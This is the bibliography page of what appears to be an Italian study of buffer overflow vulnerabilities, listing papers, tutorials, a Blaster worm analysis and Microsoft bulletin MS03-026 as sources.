  • Bibliografia[1] Gillette: A Unique Examination of the Buffer Overflow Condition[2] Fayolle, Glaume: A Buffer Overflow Study – Attacks and Defenses[3] Cowan, Wagle, Pu, Beattie, Walpole: Buffer Overflows: Attacks and Defenses for theVulnerability of the Decade[4] Foster, Osipov, Bhalla, Heinen: Buffer Overflow Attacks – Detect, Exploit, Prevent[5] Siti http://en.wikipedia.org e http://it.wikipedia.org[6] Alfano, Chirico, Moscariello, Palumbo, Santoro: Il Worm Blaster – Il Superbug di Windows[7] Auriemma: Buffer overflow: spiegazione tecnica ed esempio pratico[8] Dapino: Tecniche: Buffer Overflow[9] R[]l4nD: Guida al Buffer Overflow, al calcolo di uno shellcode e alla stesura di un exploit[10] Piccardi: GaPiL[11] Wheeler: Secure programmer: Countering buffer overflows[12] Sito www.informit.com : Understanding Buffer Overflows[13] Microsoft Security Bulletin MS03-026 27